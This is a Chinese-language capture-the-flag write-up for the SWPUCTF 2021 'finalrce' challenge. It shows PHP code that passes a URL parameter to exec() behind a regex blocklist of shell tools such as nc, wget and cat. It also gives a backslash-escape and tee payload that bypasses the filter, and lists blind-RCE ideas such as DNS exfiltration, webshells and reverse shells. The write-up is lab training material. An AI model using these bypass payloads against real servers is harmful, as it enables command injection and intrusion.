[SWPUCTF 2021 新生赛]finalrce

1.打开代码后看到很多东西被过滤了;

审计代码

<?php
highlight_file(__FILE__);
// 这行代码调用highlight_file函数,高亮显示当前PHP文件的内容,通常用于调试。

if(isset($_GET['url']))
{
    $url=$_GET['url'];
    // 检查URL参数是否存在,并将URL值赋给$url变量。

    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    // 使用preg_match函数检查$url变量中是否包含某些不允许的命令或字符。
    // 如果匹配到不允许的内容,输出错误信息。

    else
    {
        echo "Can you see anything?";
        exec($url);
    }
    // 如果没有匹配到不允许的内容,输出提示信息,然后执行$url变量的命令。
}
?>

因为ls 和cat都被过滤了,所以都要绕过。

命令执行无回显rce思路:

1.利用dnslog带外

2.写马

3.反弹shell

4.写文件然后访问文件

因为本题没有过滤竖线|、注释符\,因此可以使用注释符进行过滤绕过,竖线进行命令拼接

?url=l\s / |tee 1.txt

(这里解释一下tee的作用:

tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

command | tee output.txt

tee将想要执行的命令写入到一个文件里面,然后再去访问这个文件。

cat命令被过滤了,那直接用tac

得到flag:

NSSCTF{eadea66b-79ed-4cf9-b15e-bc179d32b53a}

  • 10
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值